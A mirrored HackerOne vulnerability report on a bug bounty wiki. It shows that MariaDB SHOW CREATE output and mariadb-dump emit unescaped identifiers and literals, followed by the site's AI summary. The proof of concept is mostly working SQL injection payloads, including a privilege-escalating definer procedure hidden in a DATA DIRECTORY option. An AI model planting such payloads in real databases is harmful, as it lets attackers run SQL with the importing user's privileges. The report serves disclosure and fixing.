Several SHOW CREATE and SHOW GRANTS statements in MariaDB emit SQL built from stored metadata without escaping it, and mariadb-dump has similar gaps in its generated output. An attacker who controls a database could plant crafted identifiers or literals so that a privileged user who dumps and re-imports that database runs the attacker's SQL with elevated privileges.
MariaDB has several SHOW ... paths that output SQL built from stored metadata that is not appropriately escaped.
While not necessarily a vulnerability in the server itself, it opens an attack surface where a privileged user / service helper script exports an attacker controlled database with something like mariadb-dump and then imports the generated SQL elsewhere - potentially running any attacker injected SQL with elevated privileges.
Proof of Concept
A typical attacker controlled injection payload might look something like the following:
SQL
CREATE TABLE poc (
id INT
)
ENGINE=InnoDB
DATA DIRECTORY='/tmp/mdb-show-unescaped/'';CREATE PROCEDURE vf_exec(q TEXT) SQL SECURITY DEFINER EXECUTE IMMEDIATE q;GRANT EXECUTE ON PROCEDURE vf_exec TO ''attacker''@''localhost''; -- ';
SHOW CREATE TABLE poc; / mariadb-dump would then output:
SQL
CREATE TABLE `poc` (
`id` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci DATA DIRECTORY='/tmp/mdb-show-unescaped/';
CREATE PROCEDURE vf_exec(q TEXT) SQL SECURITY DEFINER EXECUTE IMMEDIATE q;
GRANT EXECUTE ON PROCEDURE vf_exec TO 'attacker'@'localhost'; -- /';
If the db is then dumped and restored by privileged user, e.g.
'attacker'@'localhost' is then able to execute commands on attacker_new as the importing user, e.g.
SQL
CALL vf_exec( 'SHOW GRANTS' );
SQL
GRANT ALL PRIVILEGES ON *.* TO `root`@`localhost` WITH GRANT OPTION
A (non-comprehensive) list of injection points is included below, but the TL;DR is that all untrusted identifiers, literals, comments etc should be correctly escaped when outputting dynamically generated SQL queries.
SQL
-- create some helper directories with InnoDB so we can use MyISAM for poc
CREATE TABLE make_data_dir (id INT)
ENGINE=InnoDB
DATA DIRECTORY='/tmp/mdb-show-unescaped-data''; SELECT ''<INJECTION:DATA_DIRECTORY>''; /*';
CREATE TABLE make_index_dir (id INT)
ENGINE=InnoDB
DATA DIRECTORY='/tmp/mdb-show-unescaped-index*/; SELECT ''<INJECTION:INDEX_DIRECTORY>''; -- ';
DROP TABLE make_data_dir, make_index_dir;
-- ignore the intentionally bad table option below
SET SESSION sql_mode='IGNORE_BAD_TABLE_OPTIONS';
CREATE TABLE poc (
id INT,
KEY(id)
)
ENGINE=MyISAM
DATA DIRECTORY='/tmp/mdb-show-unescaped-data''; SELECT ''<INJECTION:DATA_DIRECTORY>''; /*'
INDEX DIRECTORY='/tmp/mdb-show-unescaped-index*/; SELECT ''<INJECTION:INDEX_DIRECTORY>''; -- '
unknown_opt='*/; SELECT "<INJECTION:BAD_OPTION>"; ALTER TABLE poc /*';
SET SESSION sql_mode='';
SHOW CREATE TABLE poc;
The next few require elevated privs to begin with, but are included because we should be escaping things correctly everywhere.
SQL
CREATE USER 'poc'@'localhost'
IDENTIFIED VIA unix_socket
USING 'x''; SELECT ''<INJECTION:AUTH_STRING>''; /*'
REQUIRE SUBJECT '*/; SELECT ''<INJECTION:SSL_SUBJECT>''; -- ';
CREATE USER 'poc''@''localhost'' TO ''poc''@''localhost''; SELECT ''<INJECTION:PROXY>''; -- '@'localhost';
GRANT PROXY ON
'poc''@''localhost'' TO ''poc''@''localhost''; SELECT ''<INJECTION:PROXY>''; -- '@'localhost'
TO
'poc'@'localhost';
SHOW CREATE USER 'poc'@'localhost';
SHOW CREATE USER 'poc''@''localhost'' TO ''poc''@''localhost''; SELECT ''<INJECTION:PROXY>''; -- '@'localhost';
SHOW GRANTS FOR 'poc'@'localhost';
SQL
CREATE USER `poc`@`localhost`
IDENTIFIED VIA unix_socket
USING 'x';
SELECT '<INJECTION:AUTH_STRING>';
/*' REQUIRE SUBJECT '*/;
SELECT '<INJECTION:SSL_SUBJECT>';
CREATE USER `poc'@'localhost' TO 'poc'@'localhost'; SELECT '<INJECTION:PROXY>'; -- `@`localhost`;
GRANT USAGE ON *.* TO `poc`@`localhost`
IDENTIFIED VIA unix_socket
USING 'x';
SELECT '<INJECTION:AUTH_STRING>';
/*' REQUIRE SUBJECT '*/;
SELECT '<INJECTION:SSL_SUBJECT>';
GRANT PROXY ON 'poc'@'localhost' TO 'poc'@'localhost';
SELECT '<INJECTION:PROXY>';
SQL
CREATE SERVER poc
FOREIGN DATA WRAPPER `mysql OPTIONS (HOST '127.0.0.1'); SELECT '<INJECTION:SERVER_WRAPPER>'; -- `
OPTIONS (
HOST '127.0.0.1',
DATABASE 'db',
USER 'u',
PASSWORD 'p',
PORT 3306
);
SHOW CREATE SERVER poc;
SQL
CREATE SERVER `poc` FOREIGN DATA WRAPPER mysql OPTIONS (HOST '127.0.0.1');
SELECT '<INJECTION:SERVER_WRAPPER>';
-- OPTIONS (HOST '127.0.0.1', DATABASE 'db', USER 'u', PASSWORD 'p', PORT '3306');
<insert pokemon meme here>
Gotta fix em all!
Same same but different ...
In addition to SHOW [CREATE|GRANTS] ... not escaping output correctly, mariadb-dump may also output dynamically generated SQL queries without using the appropriate escaping. e.g.
mariadb-dump --add-drop-trigger
Malicious trigger names can be used to only inject when mariadb-dump adds a the drop trigger.
SQL
CREATE TABLE poc(i INT);
CREATE TRIGGER `poc*/; SELECT '<INJECTION:DUMP_TRIGGER>'; /*`
BEFORE INSERT ON poc
FOR EACH ROW
SET NEW.id = NEW.id;
SHOW CREATE TRIGGER `poc*/; SELECT '<INJECTION:DUMP_TRIGGER>'; /*`;
The output from SHOW CREATE TRIGGER is escaped fine here
SQL
CREATE DEFINER=`attacker`@`localhost` TRIGGER `poc*/; SELECT '<INJECTION:DUMP_TRIGGER>'; /*`
BEFORE INSERT ON poc
FOR EACH ROW
SET NEW.id = NEW.id
but by adding the drop trigger, mariadb-dump outputs
SQL
/*!50032 DROP TRIGGER IF EXISTS poc*/;
SELECT '<INJECTION:DUMP_TRIGGER>';
/* */;
mariadb-dump --system=udfs
Likewise with function names (an even more highly unlikely attack scenario, but added here for completeness - though there might also be other areas which should also be fixed).
SQL
INSERT INTO mysql.func(name, ret, dl, type)
VALUES(
'mysql.f() RETURNS INT RETURN 1;SELECT ''<INJECTION:UDF_NAME>'';#',
0,
'x.so',
'function'
);
mariadb-dump will SELECT * FROM mysql.func but reconstruct the CREATE FUNCTION ... output without the proper escaping, e.g.
SQL
CREATE FUNCTION mysql.f() RETURNS INT RETURN 1;
SELECT '<INJECTION:UDF_NAME>';
# RETURNS STRING SONAME 'x.so';
Admin / migration script helpers may unknowingly create SQL output containing attacker injected queries if ran against an attacker controlled db. Importing this SQL then executes those commands as the user running the import.
The original report as published on HackerOne, by vortfu. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
How it worked
Root cause
Likely the code that builds these SHOW and dump statements concatenates stored identifiers and literals into SQL without escaping them.
Impact
A privileged user or migration script that dumps an attacker-controlled database and imports the result elsewhere could execute the attacker's SQL with the importer's privileges; the text notes this is not necessarily a vulnerability in the server itself.
What the attacker needed
Attacker can create objects in a database; victim dumps and re-imports that database; import runs with higher privileges
How it was found
Create a table whose DATA DIRECTORY option contains quote characters and injected SQL.
Run SHOW CREATE TABLE, or dump the database with mariadb-dump, and observe the injected statements in the output.
Import that dump as a privileged user into another database.
Call the injected procedure as the low-privileged attacker account to run commands as the importing user.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
When you ask MariaDB to show how a table or user was created, it writes out SQL text. If a name or setting inside that text contains quote characters, the server should escape them so they stay harmless data. Here it does not, so a database owner can hide extra SQL statements in a name; anyone who later exports and re-imports the database runs those hidden statements with their own higher permissions.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.